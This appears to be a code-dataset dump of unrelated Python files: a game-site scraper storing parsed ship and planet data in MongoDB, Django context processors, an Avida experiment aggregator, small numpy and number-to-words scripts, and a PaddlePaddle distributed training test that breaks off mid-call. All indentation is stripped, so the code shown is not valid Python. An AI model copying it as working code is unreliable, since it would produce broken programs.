# Recuperation du type de l'element (Fregate, Navette,
# Planete, Groupe, ...)
typeIdName = str(element.find("h1"))[4:-5]
if typeIdName[0] == "N":
ident = typeIdName.split("<br/>")[0][8:]
name = typeIdName.split("<br/>")[1].strip("\n")
image = str(element.find("img"))[12:-3]
iCoord = str(element).find("\"/>") + 3
iCoordEnd = iCoord + str(element)[iCoord:].find("<br/>") - 10
coord = str(element)[iCoord:iCoordEnd]
owner = element.find("a").contents[0]
el["type"] = "Vaisseau"
el["id"] = ident
el["name"] = name
el["image"] = image
el["x"] = coord.split("/")[0].strip(" ")
el["y"] = coord.split("/")[1].strip(" ")
el["owner"] = owner
out.append(el)
elif typeIdName[0:2] == "Co":
ident = typeIdName.split("<br/>")[0][10:]
name = typeIdName.split("<br/>")[1].strip("\n")
image = str(element.find("img"))[12:-3]
iCoord = str(element).find("\"/>") + 3
iCoordEnd = iCoord + str(element)[iCoord:].find("<br/>") - 10
coord = str(element)[iCoord:iCoordEnd]
owner = element.find("a").contents[0]
el["type"] = "Vaisseau"
el["id"] = ident
el["name"] = name
el["image"] = image
el["x"] = coord.split("/")[0].strip(" ")
el["y"] = coord.split("/")[1].strip(" ")
el["owner"] = owner
out.append(el)
elif typeIdName[0:2] == "Cr":
ident = typeIdName.split("<br/>")[0][9:]
name = typeIdName.split("<br/>")[1].strip("\n")
image = str(element.find("img"))[12:-3]
iCoord = str(element).find("\"/>") + 3
iCoordEnd = iCoord + str(element)[iCoord:].find("<br/>") - 10
coord = str(element)[iCoord:iCoordEnd]
owner = element.find("a").contents[0]
el["type"] = "Vaisseau"
el["id"] = ident
el["name"] = name
el["image"] = image
el["x"] = coord.split("/")[0].strip(" ")
el["y"] = coord.split("/")[1].strip(" ")
el["owner"] = owner
out.append(el)
elif typeIdName[0] == "F":
ident = typeIdName.split("<br/>")[0][8:]
name = typeIdName.split("<br/>")[1].strip("\n")
image = str(element.find("img"))[12:-3]
iCoord = str(element).find("\"/>") + 3
iCoordEnd = iCoord + str(element)[iCoord:].find("<br/>") - 10
coord = str(element)[iCoord:iCoordEnd]
owner = element.find("a").contents[0]
el["type"] = "Vaisseau"
el["id"] = ident
el["name"] = name
el["image"] = image
el["x"] = coord.split("/")[0].strip(" ")
el["y"] = coord.split("/")[1].strip(" ")
el["owner"] = owner
out.append(el)
elif typeIdName[2:5] == "img":
image = str(element.find("img"))[12:-3]
iTI = str(element).find("\"/>") + 12
iTIEnd = iTI + str(element)[iTI:].find("<br/>")
iNameEnd = iTIEnd + str(element)[iTIEnd:].find("</h1>")
iCoordEnd = iNameEnd + str(element)[iNameEnd:].find("<br/>") - 10
ti = str(element)[iTI:iTIEnd]
name = str(element)[iTIEnd+5:iNameEnd]
coord = str(element)[iNameEnd+5:iCoordEnd]
owner = element.find("a").contents[0]
if owner.encode("utf-8") == "Gérer":
owner = playerName
el["type"] = "Planete"
el["id"] = ti
el["name"] = name
el["image"] = image
el["x"] = coord.split("/")[0].strip(" ")
el["y"] = coord.split("/")[1].strip(" ")
el["owner"] = owner
out.append(el)
else:
data = typeIdName.split(" ")
nb = data[0]
x = data[3]
y = data[5]
i = 0
for e in element.findAll("div", attrs={"class":"sousgroupe"}):
items = str(e).split("<br/><br/>")
for item in items:
if (len(item) >= 20):
i += 1
iImage = item.find("/images/")
iImageEnd = iImage + item[iImage:].find("\"/>")
image = item[iImage:iImageEnd]
if image[8] == 'v':
iIdNameEnd = iImageEnd + item[iImageEnd:].find(" de <a")
idName = item[iImageEnd+3:iIdNameEnd]
iOwner = item.find("gauche\">") + 8
iOwnerEnd = iOwner + item[iOwner:].find("</a>")
owner = item[iOwner:iOwnerEnd]
el["type"] = "Vaisseau"
el["id"] = idName.split("-")[0].strip(" ")
el["name"] = idName.split("-")[1].strip(" ")
el["image"] = image
el["x"] = x
el["y"] = y
el["owner"] = owner
out.append(el)
elif image[8] == 'p':
iIdNameEnd = iImageEnd + item[iImageEnd:].find("<a href")
idName = item[iImageEnd+6:iIdNameEnd]
iOwner = item.find("gauche\">") + 12
iOwnerEnd = iOwner + item[iOwner:].find("</a>")
owner = item[iOwner:iOwnerEnd]
if owner == "":
owner = "Rebelles"
el["type"] = "Planete"
el["id"] = idName.split("-")[0].strip(" ")
el["name"] = idName.split("-")[1].strip(" ")
el["image"] = image
el["x"] = x
el["y"] = y
el["owner"] = owner
out.append(el)
else:
syslog.syslog("Error: element unknown during planet radar parsing - player:%s - link:%s - item:%s" % (playerName, link, item))
el = {}
return out
def getAllDatas(cookies, playerName, id_request, db_host, db_port):
client = MongoClient(db_host, db_port)
col_update = client['requests']['update']
cycle = getCycleNumber()
post = {}
post['player'] = playerName
post['status'] = 'processing'
post['analyze'] = 0
post['base'] = 0
post['groups'] = 0
post['cycle'] = cycle
linksShips = getShipLinks(cookies)
linksPlanets = getPlanetLinks(cookies)
datas = []
group_links = []
total_count = len(linksShips)
total_count += len(linksPlanets)
for i in range(len(linksShips)):
shipDatas, group_link = getDatas(cookies, linksShips[i], playerName)
group_links.extend(group_link)
datas.extend(shipDatas)
percent = float(i+1)/total_count
col_update.update({'id':id_request,'status':'processing', 'cycle':cycle},{'$set':{'analyze':percent}})
group_links = list(set(group_links))
for i in range(len(group_links)):
datas.extend(getGroupDatas(cookies, group_links[i], playerName))
for i in range(len(linksPlanets)):
datas.extend(getDatasPlanets(cookies, linksPlanets[i], playerName))
percent = float(i+1 + len(linksShips))/total_count
col_update.update({'id':id_request,'status':'processing', 'cycle':cycle},{'$set':{'analyze':percent}})
return datas
if __name__ == "__main__":
print getPlayersList()
|
18,281 | 7de6e337d783f48562eb578da979063dc2b5151a | from profiles.models import CustomUser, Relationship
def profile_pic(request):
"""
for Sending Profile picture which is a dynamic content to the template
"""
if request.user.is_authenticated:
profile_obj = CustomUser.objects.get(id__exact=request.user.id)
pic = profile_obj.avatar
return {'picture': pic}
return {}
def invitation_received_no(request):
"""
for Sending number of Invitations which is a dynamic content to the template
"""
if request.user.is_authenticated:
profile_obj = CustomUser.objects.get(id__exact=request.user.id)
qs_count = Relationship.objects.invitation_received(profile_obj).count()
return {'invites_num': qs_count}
return {}
|
18,282 | 38f2d35d9ab230e52dc068f21a3df68f4e619d08 | '''
Aggregate data
'''
import argparse, os, sys, errno, subprocess, csv
run_identifier = "RUN_"
primary_traits = ["not","nand","and","ornot","or","andnot"]
even_traits = {"not", "and", "or"}
odd_traits = {"nand", "ornot", "andnot"}
even_profile = "101010"
odd_profile = "010101"
all_profile = "111111"
max_pop_size = 3600
extra_traits = {"nor","xor","equals","logic_3aa","logic_3ab","logic_3ac","logic_3ad","logic_3ae","logic_3af","logic_3ag","logic_3ah","logic_3ai","logic_3aj","logic_3ak","logic_3al","logic_3am","logic_3an","logic_3ao","logic_3ap","logic_3aq","logic_3ar","logic_3as","logic_3at","logic_3au","logic_3av","logic_3aw","logic_3ax","logic_3ay","logic_3az","logic_3ba","logic_3bb","logic_3bc","logic_3bd","logic_3be","logic_3bf","logic_3bg","logic_3bh","logic_3bi","logic_3bj","logic_3bk","logic_3bl","logic_3bm","logic_3bn","logic_3bo","logic_3bp","logic_3bq","logic_3br","logic_3bs","logic_3bt","logic_3bu","logic_3bv","logic_3bw","logic_3bx","logic_3by","logic_3bz","logic_3ca","logic_3cb","logic_3cc","logic_3cd","logic_3ce","logic_3cf","logic_3cg","logic_3ch","logic_3ci","logic_3cj","logic_3ck","logic_3cl","logic_3cm","logic_3cn","logic_3co","logic_3cp"}
extra_trait_thresholds = {prop: (max_pop_size * prop) for prop in [0.01, 0.05, 0.1] }
extra_trait_thresholds["0"] = 1
time_data_time_series_fields = ["average_generation"]
"""
This is functionally equivalent to the mkdir -p [fname] bash command
"""
def mkdir_p(path):
try:
os.makedirs(path)
except OSError as exc: # Python >2.5
if exc.errno == errno.EEXIST and os.path.isdir(path):
pass
else: raise
def extract_params_cmd_log(path):
content = None
with open(path, "r") as fp:
content = fp.read().strip()
content = content.replace("./avida", "")
params = [param.strip() for param in content.split("-set") if param.strip() != ""]
cfg = {param.split(" ")[0]:param.split(" ")[1] for param in params}
return cfg
def read_avida_dat_file(path, backfill_missing_fields=False):
content = None
with open(path, "r") as fp:
content = fp.read().strip().split("\n")
legend_start = 0
legend_end = 0
# Where does the legend table start?
for line_i in range(0, len(content)):
line = content[line_i].strip()
if line == "# Legend:": # Handles analyze mode detail files.
legend_start = line_i + 1
break
if "# 1:" in line: # Handles time.dat file.
legend_start = line_i
break
# For each line in legend table, extract field
fields = []
for line_i in range(legend_start, len(content)):
line = content[line_i].strip()
if line == "":
legend_end = line_i
break
# patch 3-input logic tasks because avida file format is nonsense
if "Logic 3" in line:
line = line.split("(")[0]
fields.append( line.split(":")[-1].strip().lower().replace(" ", "_") )
data = []
for line_i in range(legend_end, len(content)):
line = content[line_i].strip()
if line == "": continue
data_line = line.split(" ")
if len(data_line) > len(fields):
print("found more items than there are fields!")
print(fields)
print(data_line)
exit(-1)
elif backfill_missing_fields:
num_backfill = len(fields) - len(data_line)
for _ in range(num_backfill): data_line.append("")
elif len(data_line) != len(fields):
print("data fields mismatch!")
print(fields)
print(data_line)
exit(-1)
data.append({field:value for field,value in zip(fields, data_line)})
return data
def read_csv(file_path):
content = None
with open(file_path, "r") as fp:
content = fp.read().strip().split("\n")
header = content[0].split(",")
content = content[1:]
lines = [{header[i]: l[i] for i in range(len(header))} for l in csv.reader(content, quotechar='"', delimiter=',', quoting=csv.QUOTE_ALL, skipinitialspace=True)]
return lines
def simple_match_coeff(a, b):
if len(a) != len(b):
print(f"Length mismatch! {a} {b}")
exit(-1)
return sum(ai==bi for ai,bi in zip(a,b))
def main():
parser = argparse.ArgumentParser(description="Run submission script.")
parser.add_argument("--data_dir", type=str, help="Where is the base output directory for each run?")
parser.add_argument("--dump", type=str, help="Where to dump this?", default=".")
parser.add_argument("--update", type=int, help="Update to pull data for?")
parser.add_argument("--time_series_range", type=int, help="The range (in updates) to collect time series data?", nargs=2)
args = parser.parse_args()
data_dir = args.data_dir
dump_dir = args.dump
update = args.update
time_series_range = args.time_series_range
if not os.path.exists(data_dir):
print("Unable to find data directory.")
exit(-1)
mkdir_p(dump_dir)
# Aggregate run directories.
run_dirs = [run_dir for run_dir in os.listdir(data_dir) if run_identifier in run_dir]
print(f"Found {len(run_dirs)} run directories.")
time_series_content = []
time_series_header = None
time_series_fpath = os.path.join(dump_dir, f"time_series_u{time_series_range[0]}-u{time_series_range[1]}.csv")
with open(time_series_fpath, "w") as fp:
fp.write("")
lineage_series_content = []
lineage_series_header = None
lineage_series_fpath = os.path.join(dump_dir, f"lineage_series.csv")
with open(lineage_series_fpath, "w") as fp:
fp.write("")
# Only keep lines that fall within specified time series range.
def keep_line(u): return u <= time_series_range[1] and u >= time_series_range[0]
# For each run directory:
# - get id, get command line configuration settings
summary_header = None
summary_content_lines = []
progress_counter = 0
for run_dir in run_dirs:
progress_counter += 1
run_path = os.path.join(data_dir, run_dir)
# Skip over (but make note of) incomplete runs.
if not os.path.exists(os.path.join(run_path, 'data', 'analysis')):
print('Skipping: ', run_path)
continue
summary_info = {} # Hold summary information about run. (one entry per run)
time_series_info = {}
lineage_series_info = []
print(f"Processing ({progress_counter}/{len(run_dirs)}): {run_path}")
############################################################
# Extract commandline configuration settings (from cmd.log file)
cmd_log_path = os.path.join(run_path, "cmd.log")
cmd_params = extract_params_cmd_log(cmd_log_path)
# Infer environmental change and change rate from events file
chg_env = "chg" in cmd_params["EVENT_FILE"]
env_cond = cmd_params["EVENT_FILE"].replace("events_", "").split("_phase")[0].lower()
phase = "1" if "phase-one" in cmd_params["EVENT_FILE"] else "2"
extra_task_val = "0.0"
if "val" in cmd_params["ENVIRONMENT_FILE"]:
extra_task_val = "0." + cmd_params["ENVIRONMENT_FILE"].replace(".cfg", "").split("_")[-1].replace("val-", "")
summary_info["chg_env"] = chg_env
summary_info["environment"] = env_cond
summary_info["update"] = update
summary_info["phase"] = phase
summary_info["extra_task_value"] = extra_task_val
for field in cmd_params:
summary_info[field] = cmd_params[field]
############################################################
############################################################
# Extract lineage file data
lineage_path = os.path.join(run_path, "data", "lineage.csv")
lineage_data = read_csv(lineage_path)
# Extract summary info (for specified update)
lineage_summary_data = [line for line in lineage_data if int(line["update"]) == update][0]
for field in lineage_summary_data:
if field == "update": continue
summary_info["lineage_"+field] = lineage_summary_data[field]
lineage_data = None
lineage_summary_data = None
############################################################
############################################################
# Extract phylodiversity time series data
phylodiversity_path = os.path.join(run_path, "data", "phylodiversity.csv")
phylodiversity_data = read_csv(phylodiversity_path)
# Extract summary info
phylo_summary_data = [line for line in phylodiversity_data if int(line["update"]) == update][0]
for field in phylo_summary_data:
if field == "update": continue
summary_info["phylo_"+field] = phylo_summary_data[field]
# Extract time series info
phylodiversity_data = None
phylo_summary_data = None
############################################################
############################################################
# Extract information from dominant.csv
dominant_path = os.path.join(run_path, "data", "dominant.csv")
dominant_data = read_csv(dominant_path)
dominant_summary_data = [line for line in dominant_data if int(line["update"]) == update][0]
summary_info["dominant_lineage_length_taxa"] = dominant_summary_data["dominant_lineage_length"]
summary_info["dominant_lineage_deleterious_steps"] = dominant_summary_data["dominant_deleterious_steps"]
summary_info["dominant_lineage_phenotypic_volatility"] = dominant_summary_data["dominant_phenotypic_volatility"]
summary_info["dominant_lineage_unique_phenotypes"] = dominant_summary_data["dominant_unique_phenotypes"]
############################################################
############################################################
# Extract time.dat data
time_data = read_avida_dat_file(os.path.join(run_path, "data", "time.dat"))
# Summery information
# - average generation
summary_info["time_average_generation"] = [line["average_generation"] for line in time_data if int(line["update"]) == update][0]
# Time series information
time_data_ts = {line["update"]: {field: line[field] for field in time_data_time_series_fields} for line in time_data if keep_line(int(line["update"]))}
# Grab the set of updates we have for our time series to check against other time series data for consistency
time_series_updates = set(time_data_ts.keys())
# initialize info dictionary for each time series update
for u in time_series_updates: time_series_info[u] = {}
# Store time data time series info
for u in time_series_updates:
for field in time_data_ts[u]: time_series_info[u]["time_" + field] = time_data_ts[u][field]
time_data = None # release time_data
time_data_ts = None
############################################################
############################################################
# Extract tasks.dat data
task_data = read_avida_dat_file(os.path.join(run_path, "data", "tasks.dat"))
# Extract summary info
final_tasks_data = task_data[-1]
if (final_tasks_data["update"] != str(update)):
print(f"Final tasks update {final_tasks_data['update']} does not match requested analysis update {update}")
exit(-1)
tasks_found = set([])
for task in extra_traits:
if task in final_tasks_data: tasks_found.add(task)
print(f" Found {len(tasks_found)} / {len(extra_traits)} possible tasks in tasks.dat")
final_discovered_tasks = {proportion:set([]) for proportion in extra_trait_thresholds}
for line in task_data:
for trait in extra_traits:
if not trait in line: continue
for proportion in extra_trait_thresholds:
threshold = extra_trait_thresholds[proportion]
if int(line[trait]) >= threshold:
final_discovered_tasks[proportion].add(trait)
for proportion in extra_trait_thresholds:
threshold = extra_trait_thresholds[proportion]
summary_info[f"final_pop_extra_tasks_{proportion}"] = sum([int(int(final_tasks_data[trait]) > threshold) for trait in extra_traits if trait in final_tasks_data])
summary_info[f"discovered_extra_tasks_{proportion}"] = len(final_discovered_tasks[proportion])
# Extract time series information
task_data_ts = {line["update"]: {field: line[field] for field in extra_traits} for line in task_data if keep_line(int(line["update"]))}
for u in time_series_updates:
task_counts = {proportion: set([]) for proportion in extra_trait_thresholds}
for task in task_data_ts[u]:
for proportion in extra_trait_thresholds:
threshold = extra_trait_thresholds[proportion]
if ( int(task_data_ts[u][task]) >= threshold):
task_counts[proportion].add(task)
for proportion in extra_trait_thresholds:
time_series_info[u][f"task_count_{proportion}"] = len(task_counts[proportion])
task_data = None
task_data_ts = None
############################################################
############################################################
# Extract .spop file info
# - What are the unique keys shared across analyze mode output/.spop file?
# - tuple(sequence, update born)
spop_data = read_avida_dat_file(os.path.join(run_path, "data", f"detail-{update}.spop"), True)
# each entry is indexed off of update born and genome sequence so we can easily lookup spop
# info when grabbing data from analyze mode files.
spop_lookup_table = {
tuple([line["update_born"], line["genome_sequence"]]):line
for line in spop_data
}
def spop_lookup(update_born, sequence, field):
return spop_lookup_table[tuple([update_born, sequence])][field]
spop_data = None
############################################################
############################################################
# Extract environment-specific final dominant information.
dom_env_all = read_avida_dat_file(os.path.join(run_path, "data", "analysis", "env_all", "final_dominant.dat"))
dom_env_odd = read_avida_dat_file(os.path.join(run_path, "data", "analysis", "env_odd", "final_dominant.dat"))
dom_env_even = read_avida_dat_file(os.path.join(run_path, "data", "analysis", "env_even", "final_dominant.dat"))
# (each of these files should only have one genotype in them)
if len(dom_env_all) != 1 and len(dom_env_even) != 1 and len(dom_env_odd) != 1:
print("Unexpected number of genotypes in final_dominant data files.")
exit(-1)
dom_env_all = dom_env_all[0]
dom_env_odd = dom_env_odd[0]
dom_env_even = dom_env_even[0]
# Collect dominant genotype data.
summary_info["dominant_genome_length"] = dom_env_all["genome_length"]
summary_info["dominant_generation_born"] = spop_lookup(
update_born=dom_env_all["update_born"],
sequence=dom_env_all["genome_sequence"],
field="generation_born"
)
phenotype_even = "".join([dom_env_even[trait] for trait in primary_traits])
phenotype_odd = "".join([dom_env_odd[trait] for trait in primary_traits])
phenotype_all = "".join([dom_env_all[trait] for trait in primary_traits])
phenotype_task_order = ";".join(primary_traits)
plastic_odd_even = phenotype_even != phenotype_odd
match_score_even = simple_match_coeff(phenotype_even, even_profile)
match_score_odd = simple_match_coeff(phenotype_odd, odd_profile)
match_score_all = simple_match_coeff(phenotype_all, all_profile)
match_score_odd_even = match_score_even + match_score_odd
optimal_plastic = match_score_even == len(even_profile) and match_score_odd == len(odd_profile)
summary_info["dominant_phenotype_even"] = phenotype_even
summary_info["dominant_phenotype_odd"] = phenotype_odd
summary_info["dominant_phenotype_all"] = phenotype_all
summary_info["dominant_phenotype_task_order"] = phenotype_task_order
summary_info["dominant_plastic_odd_even"] = plastic_odd_even
summary_info["dominant_match_score_even"] = match_score_even
summary_info["dominant_match_score_odd"] = match_score_odd
summary_info["dominant_match_score_all"] = match_score_all
summary_info["dominant_match_score_odd_even"] = match_score_odd_even
summary_info["dominant_optimal_plastic"] = optimal_plastic
# collect extra task information
extra_traits_expressed = set([])
for trait in extra_traits:
even_expressed = int(dom_env_even[trait]) > 0
odd_expressed = int(dom_env_odd[trait]) > 0
if even_expressed or odd_expressed:
extra_traits_expressed.add(trait)
summary_info["dominant_extra_tasks"] = len(extra_traits_expressed)
############################################################
############################################################
# Extract mutation accumulation data from dominant lineage
# - mutation information will be the same for all lineage data files.
lineage_env_all = read_avida_dat_file(os.path.join(run_path, "data", "analysis", "env_all", "lineage_tasks.dat"))
lineage_env_odd = read_avida_dat_file(os.path.join(run_path, "data", "analysis", "env_odd", "lineage_tasks.dat"))
lineage_env_even = read_avida_dat_file(os.path.join(run_path, "data", "analysis", "env_even", "lineage_tasks.dat"))
summary_info["dominant_lineage_length_genotypes"] = len(lineage_env_all)
sub_mut_cnt = 0
ins_mut_cnt = 0
dels_mut_cnt = 0
lineage_tasks_ot = [set([]) for _ in range(len(lineage_env_all))]
# primary_task_profiles_ot = [None for _ in range(len(lineage_env_all))]
primary_task_profiles_ot = [{"odd": None, "even": None, "const": None, "aggregate": None} for _ in range(len(lineage_env_all))]
extra_traits_discovered = set([])
for i in range(len(lineage_env_all)):
ancestor_info = {}
ancestor_info["update"] = lineage_env_all[i]["update_born"]
# collect mutation information for this ancestor
muts_from_parent = lineage_env_all[i]["mutations_from_parent"].split(",")
for mut in muts_from_parent:
if (len(mut) == 0): continue
if (mut[0] == "M"): sub_mut_cnt += 1
elif (mut[0] == "I"): ins_mut_cnt += 1
elif (mut[0] == "D"): dels_mut_cnt += 1
else: print("Unknown mutation type (" + str(mut) + ")!")
# collect extra task information for this ancestor
for trait in extra_traits:
even_expressed = int(lineage_env_even[i][trait]) > 0
odd_expressed = int(lineage_env_odd[i][trait]) > 0
const_expressed = int(lineage_env_all[i][trait]) > 0
if chg_env and (even_expressed or odd_expressed):
lineage_tasks_ot[i].add(trait)
extra_traits_discovered.add(trait)
elif (not chg_env) and (const_expressed):
lineage_tasks_ot[i].add(trait)
extra_traits_discovered.add(trait)
ancestor_phenotype_even = "".join([lineage_env_even[i][trait] for trait in primary_traits])
ancestor_phenotype_odd = "".join([lineage_env_odd[i][trait] for trait in primary_traits])
ancestor_phenotype_const = "".join([lineage_env_all[i][trait] for trait in primary_traits])
primary_task_profiles_ot[i]["even"] = ancestor_phenotype_even
primary_task_profiles_ot[i]["odd"] = ancestor_phenotype_odd
primary_task_profiles_ot[i]["const"] = ancestor_phenotype_const
if chg_env:
primary_task_profiles_ot[i]["aggregate"] = ancestor_phenotype_even + ancestor_phenotype_odd
else:
primary_task_profiles_ot[i]["aggregate"] = ancestor_phenotype_const
ancestor_info["extra_traits"] = len(lineage_tasks_ot[i])
ancestor_info["match_score_even"] = simple_match_coeff(ancestor_phenotype_even, even_profile)
ancestor_info["match_score_odd"] = simple_match_coeff(ancestor_phenotype_odd, odd_profile)
lineage_series_info.append(ancestor_info)
# save summary mutation info
total_muts = sub_mut_cnt + ins_mut_cnt + dels_mut_cnt
summary_info["dominant_lineage_substitution_mut_cnt"] = sub_mut_cnt
summary_info["dominant_lineage_insertion_mut_cnt"] = ins_mut_cnt
summary_info["dominant_lineage_deletion_mut_cnt"] = dels_mut_cnt
summary_info["dominant_lineage_total_mut_cnt"] = total_muts
# analyze lineage task information
extra_traits_gained = 0 # total number of times that any trait is gained
extra_traits_lost = 0 # total number of times that any trait is lost
extra_traits_lost_linked_to_primary_change = 0
task_profile_volatility = 0
for i in range(len(lineage_tasks_ot)):
##### Trait gain/loss
current_traits = lineage_tasks_ot[i]
if not i:
extra_traits_gained += len(current_traits)
else:
previous_traits = lineage_tasks_ot[i-1]
# gained traits are traits in current_traits but not in previous traits
gained_traits = current_traits - previous_traits
# lost traits are traits in previous traits but not in current traits
lost_traits = previous_traits - current_traits
# update gain/lost information
extra_traits_gained += len(gained_traits)
extra_traits_lost += len(lost_traits)
##### Task profile volatility
current_profile = primary_task_profiles_ot[i]["aggregate"]
previous_traits = primary_task_profiles_ot[i-1]["aggregate"]
task_profile_volatility += int(current_profile != previous_traits)
if current_profile != previous_traits: extra_traits_lost_linked_to_primary_change += len(lost_traits)
summary_info["dominant_lineage_extra_traits_gained"] = extra_traits_gained
summary_info["dominant_lineage_extra_traits_lost"] = extra_traits_lost
summary_info["dominant_lineage_extra_traits_lost_linked_to_primary_change"] = extra_traits_lost_linked_to_primary_change
summary_info["dominant_lineage_extra_traits_discovered"] = len(extra_traits_discovered)
summary_info["dominant_lineage_trait_volatility"] = task_profile_volatility
lineage_env_all = None
lineage_env_odd = None
lineage_env_even = None
############################################################
############################################################
# Output time series data for this run
# Add extra fields
for u in time_series_info:
time_series_info[u]["update"] = u # Make sure that update is a field on every line
time_series_info[u]["RANDOM_SEED"] = summary_info["RANDOM_SEED"]
time_series_info[u]["DISABLE_REACTION_SENSORS"] = summary_info["DISABLE_REACTION_SENSORS"]
time_series_info[u]["chg_env"] = summary_info["chg_env"]
time_series_info[u]["environment"] = summary_info["environment"]
time_series_info[u]["extra_task_value"] = summary_info["extra_task_value"]
time_series_fields = list(time_series_info[str(time_series_range[0])].keys())
time_series_fields.sort()
write_header = False
if time_series_header == None:
write_header = True
time_series_header = ",".join(time_series_fields)
elif time_series_header != ",".join(time_series_fields):
print("Time series header mismatch!")
exit(-1)
time_series_content = []
update_order = list(map(int, time_series_info.keys()))
update_order.sort()
for u in update_order:
time_series_content.append(",".join([str(time_series_info[str(u)][field]) for field in time_series_fields]))
with open(time_series_fpath, "a") as fp:
if write_header: fp.write(time_series_header)
fp.write("\n")
fp.write("\n".join(time_series_content))
time_series_content = []
############################################################
############################################################
# Output lineage series information
############################################################
for i in range(len(lineage_series_info)):
lineage_series_info[i]["RANDOM_SEED"] = summary_info["RANDOM_SEED"]
lineage_series_info[i]["DISABLE_REACTION_SENSORS"] = summary_info["DISABLE_REACTION_SENSORS"]
lineage_series_info[i]["chg_env"] = summary_info["chg_env"]
lineage_series_info[i]["environment"] = summary_info["environment"]
lineage_series_info[i]["extra_task_value"] = summary_info["extra_task_value"]
lineage_series_fields = list(lineage_series_info[0].keys())
lineage_series_fields.sort()
write_header = False
if lineage_series_header == None:
write_header = True
lineage_series_header = ",".join(lineage_series_fields)
elif lineage_series_header != ",".join(lineage_series_fields):
print("Lineage series header mismatch!")
exit(-1)
lineage_series_content = []
for i in range(len(lineage_series_info)):
lineage_series_content.append(",".join([str(lineage_series_info[i][field]) for field in lineage_series_fields]))
with open(lineage_series_fpath, "a") as fp:
if write_header: fp.write(lineage_series_header)
fp.write("\n")
fp.write("\n".join(lineage_series_content))
lineage_series_content = []
############################################################
# Add summary_info to aggregate content
summary_fields = list(summary_info.keys())
summary_fields.sort()
if summary_header == None:
summary_header = summary_fields
elif summary_header != summary_fields:
print("Header mismatch!")
exit(-1)
summary_line = [str(summary_info[field]) for field in summary_fields]
summary_content_lines.append(",".join(summary_line))
############################################################
# write out aggregate data
with open(os.path.join(dump_dir, "aggregate.csv"), "w") as fp:
out_content = ",".join(summary_header) + "\n" + "\n".join(summary_content_lines)
fp.write(out_content)
if __name__ == "__main__":
main()
|
18,283 | a5133b5aece155404cf2824fa784a53650991dbd | """
Author: Luis_C-137
Using a spherical gausian distribution exmaple
This is just for practice purposes
This is NOT functional code
"""
from scipy.stats import multivariate_normal as mvn
import numpy as np
import matplotlib.pyplot as plt
cov = np.array([[1,0.8],[0.8,3]])
mu = np.array([0,2])
# r = mvn.rvs(mean=mu, cov=cov,size=1000) # We can use Scipy OR
r = np.random.multivariate_normal(mean=mu, cov=cov, size=1000) # Use Numpy
plt.scatter(r[:,0],r[:,1])
plt.axis('equal')
plt.show()
|
18,284 | 0cd8c3f235a49dc0b878b9da7514ac940b885367 | print(">> Progeam Change number to Text <<")
num = int(input("Enter integer number : "))
print(f"Number : {num}")
snum = ""
for i in range(len(str(num))) :
n = num % 10
if n == 0 :
snum = "Zero " + snum
elif n == 1 :
snum = "One " + snum
elif n == 2 :
snum = "Two " + snum
elif n == 3 :
snum = "Three " + snum
elif n == 4 :
snum = "Four " + snum
elif n == 5 :
snum = "Five " + snum
elif n == 6 :
snum = "Six " + snum
elif n == 7 :
snum = "Seven " + snum
elif n == 8 :
snum = "Eight " + snum
elif n == 9 :
snum = "Nine " + snum
num = num // 10
print("Text :",snum)
print("Exit Program")
|
18,285 | 3f8298cbc47ddc3d9bf4d3c736d2ec12512f7090 | # Copyright (c) 2018 PaddlePaddle Authors. All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
"""
Distribute CTR model for test fleet api
"""
import os
import shutil
import tempfile
import time
import ctr_dataset_reader
import numpy as np
from dist_fleet_ctr import TestDistCTR2x2, fake_ctr_reader
from test_dist_fleet_base import runtime_main
import paddle
from paddle import fluid
# Fix seed for test
fluid.default_startup_program().random_seed = 1
fluid.default_main_program().random_seed = 1
class TestDistGpuPsCTR2x2(TestDistCTR2x2):
"""
For test CTR model, using Fleet api & PS-GPU
"""
def check_model_right(self, dirname):
model_filename = os.path.join(dirname, "__model__")
with open(model_filename, "rb") as f:
program_desc_str = f.read()
program = fluid.Program.parse_from_string(program_desc_str)
with open(os.path.join(dirname, "__model__.proto"), "w") as wn:
wn.write(str(program))
def do_pyreader_training(self, fleet):
"""
do training using dataset, using fetch handler to catch variable
Args:
fleet(Fleet api): the fleet object of Parameter Server, define distribute training role
"""
device_id = int(os.getenv("FLAGS_selected_gpus", "0"))
place = fluid.CUDAPlace(device_id)
exe = fluid.Executor(place)
exe.run(fleet.startup_program)
fleet.init_worker()
batch_size = 4
train_reader = paddle.batch(fake_ctr_reader(), batch_size=batch_size)
self.reader.decorate_sample_list_generator(train_reader)
for epoch_id in range(1):
self.reader.start()
try:
pass_start = time.time()
while True:
loss_val = exe.run(
program=fleet.main_program,
fetch_list=[self.avg_cost.name],
)
loss_val = np.mean(loss_val)
reduce_output = fleet.util.all_reduce(
np.array(loss_val), mode="sum"
)
loss_all_trainer = fleet.util.all_gather(float(loss_val))
loss_val = float(reduce_output) / len(loss_all_trainer)
message = "TRAIN ---> pass: {} loss: {}\n".format(
epoch_id, loss_val
)
fleet.util.print_on_rank(message, 0)
pass_time = time.time() - pass_start
except fluid.core.EOFException:
self.reader.reset()
model_dir = tempfile.mkdtemp()
fleet.save_inference_model(
exe, model_dir, [feed.name for feed in self.feeds], self.avg_cost
)
if fleet.is_first_worker():
self.check_model_right(model_dir)
if fleet.is_first_worker():
fleet.save_persistables(executor=exe, dirname=model_dir)
shutil.rmtree(model_dir)
def do_dataset_training(self, fleet):
(
dnn_input_dim,
lr_input_dim,
train_file_path,
) = ctr_dataset_reader.prepare_data()
device_id = int(os.getenv("FLAGS_selected_gpus", "0"))
place = fluid.CUDAPlace(device_id)
exe = fluid.Executor(place)
exe.run(fleet.startup_program)
fleet.init_worker()
thread_num = 2
batch_size = 128
filelist = []
for _ in range(thread_num):
filelist.append(train_file_path)
# config dataset
dataset = paddle.distributed.QueueDataset()
dataset._set_batch_size(batch_size)
dataset._set_use_var(self.feeds)
pipe_command = 'python ctr_dataset_reader.py'
dataset._set_pipe_command(pipe_command)
dataset.set_filelist(filelist)
dataset._set_thread(thread_num)
for epoch_id in range(1):
pass_start = time.time()
dataset.set_filelist(filelist)
exe.train_from_dataset(
program=fleet.main_program,
dataset=dataset,
fetch_list=[self.avg_cost],
fetch_info=["cost"],
print_period=2,
